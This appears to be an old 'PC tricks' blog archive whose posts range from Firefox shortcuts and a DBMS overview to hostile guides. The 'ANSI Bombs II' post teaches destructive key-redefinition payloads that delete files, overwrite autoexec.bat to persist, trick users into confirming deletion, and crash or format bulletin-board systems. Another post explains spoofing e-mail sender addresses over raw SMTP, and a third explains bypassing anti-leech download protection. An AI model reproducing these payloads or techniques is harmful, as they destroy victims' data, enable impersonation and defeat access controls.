100% WorkingTricks and Tips for pc

15 Coolest Firefox Tricks Ever

2008-03-25T05:23:00.000-07:00

Everybody’s favorite open-source browser, Firefox, is great right out of the box. And by adding some of the awesome extensions available out there, the browser just gets better and better.

But look under the hood, and there are a bunch of hidden (and some not-so-secret) tips and tricks available that will crank Firefox up and pimp your browser. Make it faster, cooler, more efficient. Get to be a Jedi master with the following cool Firefox tricks.

Infintytricks.blogspot.com

1) More screen space. Make your icons small. Go to View - Toolbars - Customize and check the “Use small icons” box.

2) Smart keywords. If there’s a search you use a lot (let’s say IMDB.com’s people search), this is an awesome tool that not many people use. Right-click on the search box, select “Add a Keyword for this search”, give the keyword a name and an easy-to-type and easy-to-remember shortcut name (let’s say “actor”) and save it. Now, when you want to do an actor search, go to Firefox’s address bar, type “actor” and the name of the actor and press return. Instant search! You can do this with any search box.

3) Keyboard shortcuts. This is where you become a real Jedi. It just takes a little while to learn these, but once you do, your browsing will be super fast. Here are some of the most common (and my personal favs):

* Spacebar (page down)
* Shift-Spacebar (page up)
* Ctrl+F (find)
* Alt-N (find next)
* Ctrl+D (bookmark page)
* Ctrl+T (new tab)
* Ctrl+K (go to search box)
* Ctrl+L (go to address bar)
* Ctrl+= (increase text size)
* Ctrl+- (decrease text size)
* Ctrl-W (close tab)
* F5 (reload)
* Alt-Home (go to home page)

4) Auto-complete. This is another keyboard shortcut, but it’s not commonly known and very useful. Go to the address bar (Control-L) and type the name of the site without the “www” or the “.com”. Let’s say “google”. Then press Control-Enter, and it will automatically fill in the “www” and the “.com” and take you there - like magic! For .net addresses, press Shift-Enter, and for .org addresses, press Control-Shift-Enter.

5) Tab navigation. Instead of using the mouse to select different tabs that you have open, use the keyboard. Here are the shortcuts:

* Ctrl+Tab (rotate forward among tabs)
* Ctrl+Shft+Tab (rotate to the previous tab)
* Ctrl+1-9 (choose a number to jump to a specific tab)

6) Mouse shortcuts. Sometimes you’re already using your mouse and it’s easier to use a mouse shortcut than to go back to the keyboard. Master these cool ones:

* Middle click on link (opens in new tab)
* Shift-scroll down (previous page)
* Shift-scroll up (next page)
* Ctrl-scroll up (decrease text size)
* Ctrl-scroll down (increase text size)
* Middle click on a tab (closes tab)

7) Delete items from address bar history. Firefox’s ability to automatically show previous URLs you’ve visited, as you type, in the address bar’s drop-down history menu is very cool. But sometimes you just don’t want those URLs to show up (I won’t ask why). Go to the address bar (Ctrl-L), start typing an address, and the drop-down menu will appear with the URLs of pages you’ve visited with those letters in them. Use the down-arrow to go down to an address you want to delete, and press the Delete key to make it disappear.

8) User chrome. If you really want to trick out your Firefox, you’ll want to create a UserChrome.css file and customize your browser. It’s a bit complicated to get into here, but check out this tutorial.

9) Create a user.js file. Another way to customize Firefox, creating a user.js file can really speed up your browsing. You’ll need to create a text file named user.js in your profile folder (see this to find out where the profile folder is) and see this example user.js file that you can modify. Created by techlifeweb.com, this example explains some of the things you can do in its comments.

10) about:config. The true power user’s tool, about.config isn’t something to mess with if you don’t know what a setting does. You can get to the main configuration screen by putting about:config in the browser’s address bar. See Mozillazine’s about:config tips and screenshots.

11) Add a keyword for a bookmark. Go to your bookmarks much faster by giving them keywords. Right-click the bookmark and then select Properties. Put a short keyword in the keyword field, save it, and now you can type that keyword in the address bar and it will go to that bookmark.

12) Speed up Firefox. If you have a broadband connection (and most of us do), you can use pipelining to speed up your page loads. This allows Firefox to load multiple things on a page at once, instead of one at a time (by default, it’s optimized for dialup connections). Here’s how:

* Type “about:config” into the address bar and hit return. Type “network.http” in the filter field, and change the following settings (double-click on them to change them):
* Set “network.http.pipelining” to “true”
* Set “network.http.proxy.pipelining” to “true”
* Set “network.http.pipelining.maxrequests” to a number like 30. This will allow it to make 30 requests at once.
* Also, right-click anywhere and select New-> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0″. This value is the amount of time the browser waits before it acts on information it receives.

13) Limit RAM usage. If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Again, go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.

14) Reduce RAM usage further for when Firefox is minimized. This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go. Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.

15) Move or remove the close tab button. Do you accidentally click on the close button of Firefox’s tabs? You can move them or remove them, again through about:config. Edit the preference for “browser.tabs.closeButtons”. Here are the meanings of each value:

* 0: Display a close button on the active tab only
* 1:(Default) Display close buttons on all tabs
* 2:Don’t display any close buttons
* 3:Display a single close button at the end of the tab bar (Firefox 1.x behavior)

DBMS Description

2008-03-24T03:24:00.000-07:00

A DBMS is a complex set of software programs that controls the organization, storage, management, and retrieval of data in a database. A DBMS includes:

1. A modeling language to define the schema of each database hosted in the DBMS, according to the DBMS data model.
* The four most common types of organizations are the hierarchical, network, relational and object models. Inverted lists and other methods are also used. A given database management system may provide one or more of the four models. The optimal structure depends on the natural organization of the application's data, and on the application's requirements (which include transaction rate (speed), reliability, maintainability, scalability, and cost).
* The dominant model in use today is the ad hoc one embedded in SQL, despite the objections of purists who believe this model is a corruption of the relational model, since it violates several of its fundamental principles for the sake of practicality and performance. Many DBMSs also support the Open Database Connectivity API that supports a standard way for programmers to access the DBMS.
2. Data structures (fields, records, files and objects) optimized to deal with very large amounts of data stored on a permanent data storage device (which implies relatively slow access compared to volatile main memory).
3. A database query language and report writer to allow users to interactively interrogate the database, analyze its data and update it according to the users privileges on data.
* It also controls the security of the database.
* Data security prevents unauthorized users from viewing or updating the database. Using passwords, users are allowed access to the entire database or subsets of it called subschemas. For example, an employee database can contain all the data about an individual employee, but one group of users may be authorized to view only payroll data, while others are allowed access to only work history and medical data.
* If the DBMS provides a way to interactively enter and update the database, as well as interrogate it, this capability allows for managing personal databases. However, it may not leave an audit trail of actions or provide the kinds of controls necessary in a multi-user organization. These controls are only available when a set of application programs are customized for each data entry and updating function.
4. A transaction mechanism, that ideally would guarantee the ACID properties, in order to ensure data integrity, despite concurrent user accesses (concurrency control), and faults (fault tolerance).
* It also maintains the integrity of the data in the database.
* The DBMS can maintain the integrity of the database by not allowing more than one user to update the same record at the same time. The DBMS can help prevent duplicate records via unique index constraints; for example, no two customers with the same customer numbers (key fields) can be entered into the database. See ACID properties for more information (Redundancy avoidance).

The DBMS accepts requests for data from the application program and instructs the operating system to transfer the appropriate data.

When a DBMS is used, information systems can be changed much more easily as the organization's information requirements change. New categories of data can be added to the database without disruption to the existing system.

Organizations may use one kind of DBMS for daily transaction processing and then move the detail onto another computer that uses another DBMS better suited for random inquiries and analysis. Overall systems design decisions are performed by data administrators and systems analysts. Detailed database design is performed by database administrators.

Database servers are specially designed computers that hold the actual databases and run only the DBMS and related software. Database servers are usually multiprocessor computers, with RAID disk arrays used for stable storage. Connected to one or more servers via a high-speed channel, hardware database accelerators are also used in large volume transaction processing environments.

DBMSs are found at the heart of most database applications. Sometimes DBMSs are built around a private multitasking kernel with built-in networking support although nowadays these functions are left to the operating system.
Logical view and physical view

A database management system provides the ability for many different users to share data and process resources. But as there can be many different users, there are many different database needs. The question now is: How can a single, unified database meet the differing requirement of so many users?

A DBMS minimizes these problems by providing two views of the database data: a physical view and a logical view. The physical view deals with the actual, physical arrangement and location of data in the direct access storage devices(DASDs). Database specialists use the physical view to make efficient use of storage and processing resources. Users, however, may wish to see data differently from how they are stored, and they do not want to know all the technical details of physical storage. After all, a business user is primarily interested in using the information, not in how it is stored. The logical view/user’s view, of a database program represents data in a format that is meaningful to a user and to the software programs that process those data. That is, the logical view tells the user, in user terms, what is in the database. One strength of a DBMS is that while there is only one physical view of the data, there can be an endless number of different logical views. This feature allows users to see database information in a more business-related way rather than from a technical, processing viewpoint. Thus the logical view refers to the way user views data, and the physical view to the way the data are physically stored and processed.

How To Stop Spam

2008-02-27T07:13:00.000-08:00

How To Stop Spam

Change Mcft to microsoft

HOW TO STOP SPAM VIA WINDOWS MESSENGER SERVICE
Below you'll find many ways (sorted in the most successful ratio first) to stop the Windows Messenger service, depending on your system environment, some may require more than one process. This service is available only on NT, 2K, XP & Server 2003. Administrator Login is REQUIRED

About The Messenger Service

* Messenger is a Windows Service that runs in the background
* Messenger is not the same as MSN Messenger or any other Instant Messaging Program
* Messenger does not facilitate two-way chatting
* Many Windows Programs, Firewalls, UPS and Antiviruses require the Messenger Service
* Antivirus and UPS software, among others, may not work if Messenger is disabled
* The Messenger Service is usually turned on by default in most Windows NT, 2K and XP systems

1. Manually

1. Example 1

1. Click Start, Run and enter the following command:
RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove
NOTE: This will prevent a long delay when opening Outlook Express if you have the Contacts pane enabled
2. To prevent this, click Start, Run and enter {REGEDIT} Go to:
HKEY_LOCAL_MACHINE\Software\Mcft\Outlook Express
3. Right click in the right pane and select New, Dword value
4. Give it the name Hide Messenger Double click this new entry and set the value to 2
5. End result should look EXACTLY like this:
System Key: [HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Outlook Express]
Value Name: Hide Messenger
Data Type: REG_DWORD (DWORD Value)
Value Data: (2 = remove messenger)

2. Example 2

1. Copy and paste the following to Run Command Bar in the Start Menu:
RunDll32.exe advpack.dll,LaunchINFSection
%windir%\inf\msmsgs.inf,BLC.Remove

3. Example 3

1. If Example 5 didn't work, then try this - Many users miss or don't know of it
2. Click on Start then go to RUN and type:
C:\WINDOWS\inf\sysoc.inf
3. Change:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
4. To:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,7
5. Then use Add/Remove Windows Components to remove Messenger
NOTE: You can also prevent access to Windows Messenger using Group Policy or the Set Program Access and Defaults utility added by default in Windows XP SP1 and Windows 2000 SP3

4. Example 4

1. Open Windows Messenger
2. From the menu, select "Tools" then "Options" then "Preferences" tab
3. Uncheck "Run this program when Windows starts"
4. Open Outlook Express
5. From the menu, select "Tools" then "Options" then "General" tab
6. Uncheck the option to "Automatically log on", if it's there
7. Also in Outlook Express, select "View" then "Layout"
8. Uncheck the option to "display Contacts" - The program will open a connection and display a list of all Contacts on line if you do not
9. In "Startup Folder" make sure there is no entry there for Messenger
10. Open Norton Anti-Virus if you have it installed
11. Click "Options" then "Instant Messenger"
12. Unckeck "Windows Messenger (recommended"
NOTE: This list ought to work in disassociate MSN from Outlook Express, so that it'll only start up if you really want it to

5. Example 5

1. 2000

* Click Start-> Settings-> Control Panel-> Administrative Tools->Services
* Scroll down and highlight "Messenger"
* Right-click the highlighted line and choose Properties
* Click the STOP button
* Select Disable in the Startup Type scroll bar
* Click OK

2. XP Home

* Click Start->Settings ->Control Panel
* Click Performance and Maintenance
* Click Administrative Tools
* Double click Services
* Scroll down and highlight "Messenger"
* Right-click the highlighted line and choose Properties
* Click the STOP button
* Select Disable in the Startup Type scroll bar
* Click OK

3. XP Professional

* Click Start->Settings ->Control Panel
* Click Administrative Tools
* Click Services
* Double click Services
* Scroll down and highlight "Messenger"
* Right-click the highlighted line and choose Properties.
* Click the STOP button.
* Select Disable in the Startup Type scroll bar
* Click OK

4. Windows NT

* Click Start ->Control Panel
* Double Click Administrative Tools
* Select Services-> Double-click on Messenger
* In the Messenger Properties window, select Stop
* Then choose Disable as the Startup Type
* Click OK
NOTE: If you stop the service and don’t adjust the startup type, the Messenger service will start automatically the next time you reboot. Keep in mind that when you disable the Messenger service, you'll no longer receive messages about an attached UPS, and you won’t be notified of print job completion, performance alerts, or antivirus activity (from Windows) not the program you're using for those purposes.

6. Example 6

1. To disable receipt of messenger pop-ups, verify that your firewall disables inbound traffic on UDP ports 135, 137, and 138, and TCP ports 135 and 139. On a system connected directly to the Internet, you should also disable inbound traffic on TCP port 445. If the system you want to protect is part of a Win2K-based network with Active Directory (AD), don't block incoming traffic on port 445 - Mcft Knowledge Base Article - 330904
Code:
http://support.Mcft.com/default.aspx?scid=kb;en-us;330904

NOTE: You can use the firewall approach only if your system doesn't communicate with legacy systems that rely on NetBIOS name resolution to locate machines and shared resources. If, for example, you let users running Windows 9x share your printer or scanner, when you disable inbound NetBIOS traffic, users won't be able to connect to these shared resources. Regardless of the method you choose, you can stop messenger spam

2. Program

1. Example 1

NOTE: On Oct 15, 2003, Mcft releases Critical Security Bulletin MS03-043 warning users that the Windows Messenger Service running and exposed by default in all versions of Windows NT, 2000 and XP, contains a "Remote Code Execution" vulnerability that allows any not otherwise secured and protected Windows machine to be taken over and remotely compromised over the Internet
1. Shoot the Messenger
Code:
http://grc.com/files/shootthemessenger.exe

2. Example 2

1. Messenger Disable
Code:
http://www.dougknox.com/xp/utils/MessengerDisable.zip

NOTE: If you choose to uninstall Windows Messenger on a system with SP1 installed, you will receive an error message about "un-registering" an OCX file. This is normal, and doest not affect the removal process. Windows Messenger will still be removed

3. TEST

1. Example 1

1. Right-click "My Computer"
2. Select "Manage"
3. Under "System Tools" right-click on "Shared Folders"
4. Choose "All Tasks" and select "Send Console Message..."
5. If you recieve the following error message then the service has been disabled, otherwise confirm that you have disabled it or try another example
"The following error occured while reading the list of sessions from Windows clients:
Error 2114: The Server service is not started."

2. Example 2

1. Click Start then "Run"
2. Type in {cmd.exe}
3. Type in net send 127.0.0.1 hi
4. If you get a popup "hi" message, then confirm that you have disabled it or try another example

4. IF YOU INSIST

1. If you insist on keeping Windows Messenger, then I'd recommend Messenger Manager - "Allows you to keep your messenger service running, as is intended and needed by Windows. This ensures that vital system errors and notifications may be sent informing you of Important System Events"
Code:
http://www.sellertools.com/default.asp?i=MessageManager3.htm

2. However, as a replacement to Windows Messenger remote control feature, I'd recommend this free tool Virtual Network Computing - "It is a remote control software which allows you to view and interact with one computer (the "server") using a simple program (the "viewer") on another computer anywhere on the Internet. The two computers don't even have to be the same type, so for example you can use VNC to view an office Linux machine on your Windows PC at home"
Code:
http://www.realvnc.com/download.html

RESULTS WILL VARY
No matter how good your systems may be, they're only as effective as what you put into them.

How To Speed Up A Slow Computer

2008-02-27T07:12:00.000-08:00

How To Speed Up A Slow Computer

first off in the bottom right hand corner of your computer if you see alot of icons start up there when you first start your computer then this is for you if you dont know already how to get rid of em.

Press your Start Button (bottom left) and go to "run"
now type in: msconfig
now you will get a box that pops up and will tell you bunch of stuff dont mess with anything else other than what I tell you otherwise you could do something really bad (possible) go to your "startup" tab on the top right of the screen where it usually is and click it.

Now you will have a closed in box with bunch of filenames n addresses and more boxes with checks in them. Now if your like me you dont want anything startin up when you start you computer up or while your even doing anything cause it slows you down. Now unless your like me right now 1 have 1 thing starting up when my computer starts up and thats my settin for my overclocked vid card. But other than that uncheck every box and then hit apply and ok. Then window you were jus in will now close and ask you if you want to restart or wait till later to restart.

Either way when you shut it off and then turn it back on the settins will kick in

How to safeguard your files when computer crashes

2008-02-27T07:10:00.000-08:00

First thing to keep in mind: If your computer hasn't crashed yet, it will in the future! So instead of waiting for fate to strike, take some precautions now:

1) BACK-UP! Buy some decent DVD-R discs and put everything useful in them. When you have more useful stuff, backup again. Do this often.

2) Keep your computer healthy. Use an antivirus, an anti-spy, and a firewall. Keep them updated. Check regularly for Windows critical fixes.

3) Don't install software that would do dangerous things to your hard drive. A boot manager would fall in this category.

4) Use a registry cleaner before and after you install or uninstall any software. Many of the problems that will keep Windows from booting are caused by sloppy software that mess up your registry. A good registry cleaner is Tune-up Utilities.
Code:
http://www.tune-up.com/

5) Run chkdsk now and then. Go to Start> Run. Type chkdsk /F. Press enter.

In case your PC has already crashed, read the following:

Most important: Don't panic! Panic is like a little demon that whispers in your ear to format your hard drive and reinstall everything. Don't do it! You will lose all your data and the little demon will laugh at you.

To be exact you can still recover your data if you format your drive (by using special software), but only if you don't write anything on the disc afterwards. In other words format + windows install = bad idea. If you reinstall windows without formating your drive, you will only lose the files on your desktop and "My Documents" folder.

In all occasions you should make sure to safeguard your files before attempting any kind of repair!

So let's go about how to do that:

The fast way: Go to this site:
Code:
http://www.knoppix.org
. Knoppix is a Linux distribution than runs from a CD. Download the Knoppix ISO and burn it. Put it in your CD drive. On startup access BIOS and change the boot sequence so that your computer boots from the CD drive. Save settings and exit. Upon reboot, Knoppix will load.

Knoppix is much like windows and it comes with its own CD burner. Locate it, launch it and backup everything you want on CD. Now you don't have to worry anymore!

The less fast way: This requires that you have access to a second PC. Open the case of your computer and remove the hard disk.

Install it as a slave on the second PC.

Depending on respective configurations, you may have to change some jumper settings on the drive. Read the manual for help with installing hard drives and setting jumpers.

After this is done, boot the second PC. If everything went out ok, you should be able to access your drive without problems. (Edit: Note that Win98 cannot recognize a local NTFS (Win2K/XP) disk.)

Copy everything you need from your own hard drive to the other one. Now you don't have to worry anymore!

Replace your computer's hard disk, fix all problems and reverse the process to copy the data back to your computer, or take CD backups on the other PC.

How to search google for RAPIDSHARE links

2008-02-27T07:04:00.000-08:00

how to search google for RAPIDSHARE links

If you wanna find some apps, files etc on rapidshare.de via google, do the following.

Paste this into the google search window (not the adress bar):

site:rapidshare.de -filetype:zip OR rar daterange:2453402-2453412

* this searches the site rapidshare.de for any file that is rar or zip, and
has been indexed between 1-11 February.

dvd site:rapidshare.de -filetype:zip OR rar daterange:2453402-2453412

* this is the same search but it specifically searches for "dvd" with the same
search criteria, so any app posted with the word dvd in it will be found.

There are mainly three criteria to keep in mind when doing this search.

1. site: your site of choice to search

2. filetype: filetypes you wanna search,if you put a "OR" after the first
filetype you can add more.

3. daterange: (start date-enddate)

* this uses the "julian calendar", converter can be found here:

http://aa.usno.navy.mil/data/docs/JulianDate.html

Hacking anti leech

2008-02-03T05:09:00.000-08:00

I was just asking to know if there is some audiance before

Trick by infintytricks.blogspot.com

here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file

ANSI Bombs II: Tips and Techniques

2008-02-03T05:05:00.001-08:00

ANSI Bombs II: Tips and Techniques

Trick by infintytricks.blogspot.com

I. Introduction

After writing the last file, a lot of people let me know about the
mistakes I had made. I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing. Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success. ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up. Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.

2. Misconceptions

In my last file, I made three major blunders, or what I would con
sider to be major blunders. First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong. It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition. Some people
might have a program that supports it, but I haven't seen it yet. I
have tested bombs on systems on my own and proved to myself that they
don't work. I have also seen people fuck up bombs that would have
worked by uploading them in a message. The second misconception is
that ANSI bombs are dangerous when put into zips. I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping. It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code. I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition. Maybe the newer versions don't
support key redefinition, but mine sure as hell does. There are pro
grams out there that don't support it, but I don't know any of the
names. Of course, if I were you, I would be wary about using some
thing other then ANSI. I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.

3. An Overview

Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb. Skip this part if you know what an ANSI bomb is
and how to make one.
In ANSI everything is done with a system of escape codes. Key
redefinition is one of those codes. (From now, whenever I say ESC, I
really mean the arrow, ). Here is a basic command:
ESC [13;27p
This would make the key (13 is the code for enter) turn
into the key (27 is the code for escape). The always has to
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you. The first number is always the key
that you want to be redefined. If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code. The bracket signifies the beginning
of the definition, and the "p" signifies the end. Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for ). You can't redefine strings, but you can redefine a key
to become a string (i.e. ESC [13;"Blah"p would make say
"Blah"). Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition). An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon. You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code. That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.

4. Tips and Tricks

A. The Y/N Redefinition

Now, here's a simple but fun little ANSI bomb:

ESC [78;89;13p ESC [110;121;13p

Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y". Alone this doesn't do too much, except for
screw around with what they are typing. On the other hand, try adding
this line of code to the ANSI bomb:

ESC [13;27;13;"del *.*";13p

Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over. This portion of a bomb
is very useful when it comes to making good bombs.

B. Screwing with the Autoexec.bat

Here is another line of code that you may find useful in future
bombing projects:

ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
c:\autoexec.bat";13;"type bomb.ans";13;0;109;
13;"cls";13p

This line of code makes the bomb a little more permanent and a
little more dangerous. It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up. Of course, the person could just boot off a disk, but
I'm sure this would get them a few time. It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.

C. Turning Commands into Other Commands

One of the best pranks to do to someone using an ANSI bomb is to
redefine commands. That way if they type in "copy", it will turn into
"Del *.*". Since you can't actually change the whole string, you have
to take a different approach. You have to change a few of the keys,
so when typed, they type and execute the desired command. I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works. You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del". I think you get the idea.

D. Trojans

By now, everybody knows what a Trojan is. You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb. Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard. Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive. In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans. This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb. First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off. Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name). Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able. When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.

5. Conclusion
It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame. Personally, I think that
ANSI bombs are just plain old fun. They're not too hard to make, but
there is a lot that you can do with them. They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose. I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them. Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans. But for now, ANSI bombs suit my purpose.

-TRG

Appendix A: Key Code Program

Here is a small program, which I find very helpful. After loading
it up, it tells you the numeric code for every key you type in. Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program. Unfortunately, I can't take any credit for
this program. I got it over the phone from Heavymetl, and it was made
by his brother. So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file. It is in Pascal and can be compiled in most Turbo
Pascal compilers.

Use CRT;
Var
CH : CHAR;
Begin
Repeat
CH := ReadKey;
If CH = #0 then
Begin
CH := ReadKey;
WriteLn(CH,'(Special) - ',ORD(CH));
End
Else
WriteLn(CH,' - ',ORD(CH));
Until
CH = 'q';
End.

Guide on how to send ANONYMOUS e-mails to someone without a prog.

2008-02-03T04:57:00.001-08:00

Welcome to guide on how to send ANONYMOUS e-mails to someone without a prog.

Trick by infintytricks.blogspot.com

I am Hackerdevil and i am going to explain ya a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn't take
to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.

This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work, (home-made)

Well.....
Go to Start, then Run...
You have to Telnet (Xserver) on port 25

Well, (In this Xserver) you have to put the name of a server without the ( ) of course...
Put in iname.com in (Xserver) because it always work it is a server with many bugs in it.
(25) mail port.

So now we are like this.

telnet iname.com 25

and then you hit enter
Then When you have telnet open put the following like it is written

helo

and the machine will reply with smth.

Notice for newbies: If you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you tick all opctions available and in the emulation menu that's the following one you have to tick the second option.
Now you will se what you are writing.

then you put:

mail from: and so on...
If you make an error start all over again

Example:
mail from:askbill@microsoft.com.net

You hit enter and then you put:

rcpt to:lamer@lamer'sworld.com
This one has to be an existance address as you are mailing anonymously to him.

Then you hit enter
And you type
Data
and hit enter once more

Then you write

Subject:whetever

And you hit enter

you write your mail

hit enter again (boring)

you put a simple:
.

Yes you don't see it its the little fucking point!
and hit enter
Finally you write
quit
hit enter one more time
and it's done

look:Try first do it with yourself I mean mail annonymously yourself so you can test it!
Don't be asshole and write fucking e-mails to big corps. bec' its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!

Really i don't know why i wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....

Disclamer:Hackerdevil is not responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the "By Hackerdevil" line. You can't modify or customize this text and i am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but i don't take care if it anyway happen to you. If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail "yourbestfirend@aol.com" insulting you and it wasn't him it but was some guy using a program or this info you won't like it.so Use this method if you don't care a a damn hell or if you like that someone insult you.

Anonymity of Proxy

2008-02-03T04:53:00.000-08:00

Anonymity of Proxy

Trick by infintytricks.blogspot.com

The exchange of information in Internet is made by the "client - server" model. A client sends a request (what files he needs) and a server sends a reply (required files). For close cooperation (full understanding) between a client and a server the client sends additional information about itself: a version and a name of an operating system, configuration of a browser (including its name and version) etc. This information can be necessary for the server in order to know which web-page should be given (open) to the client. There are different variants of web-pages for different configurations of browsers. However, as long as web-pages do not usually depend on browsers, it makes sense to hide this information from the web-server.

What your browser transmits to a web-server:
a name and a version of an operating system
a name and a version of a browser
configuration of a browser (display resolution, color depth, java / javascript support, ...)
IP-address of a client
Other information

The most important part of such information (and absolutely needless for a web-server) is information about IP-address. Using your IP it is possible to know about you the following:
a country where you are from
a city
your provider?s name and e-mail
your physical address

Information, transmitted by a client to a server is available (accessible) for a server as environment variables. Every information unit is a value of some variable. If any information unit is not transmitted, then corresponding variable will be empty (its value will be undetermined).

These are some environment variables:

REMOTE_ADDR ? IP address of a client

HTTP_VIA ? if it is not empty, then a proxy is used. Value is an address (or several addresses) of a proxy server, this variable is added by a proxy server itself if you use one.

HTTP_X_FORWARDED_FOR ? if it is not empty, then a proxy is used. Value is a real IP address of a client (your IP), this variable is also added by a proxy server if you use one.

HTTP_ACCEPT_LANGUAGE ? what language is used in browser (what language a page should be displayed in)

HTTP_USER_AGENT ? so called "a user?s agent". For all browsers this is Mozilla. Furthermore, browser?s name and version (e.g. MSIE 5.5) and an operating system (e.g. Windows 98) is also mentioned here.

HTTP_HOST ? is a web server?s name

This is a small part of environment variables. In fact there are much more of them (DOCUMENT_ROOT, HTTP_ACCEPT_ENCODING, HTTP_CACHE_CONTROL, HTTP_CONNECTION, SERVER_ADDR, SERVER_SOFTWARE, SERVER_PROTOCOL, ...). Their quantity can depend on settings of both a server and a client.

These are examples of variable values:

REMOTE_ADDR = 194.85.1.1
HTTP_ACCEPT_LANGUAGE = ru
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP_HOST = www.webserver.ru
HTTP_VIA = 194.85.1.1 (Squid/2.4.STABLE7)
HTTP_X_FORWARDED_FOR = 194.115.5.5

Anonymity at work in Internet is determined by what environment variables "hide" from a web-server.

If a proxy server is not used, then environment variables look in the following way:

REMOTE_ADDR = your IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined

According to how environment variables "hided" by proxy servers, there are several types of proxies
Transparent Proxies

They do not hide information about your IP address:

REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = your IP

The function of such proxy servers is not the improvement of your anonymity in Internet. Their purpose is information cashing, organization of joint access to Internet of several computers, etc.
Anonymous Proxies

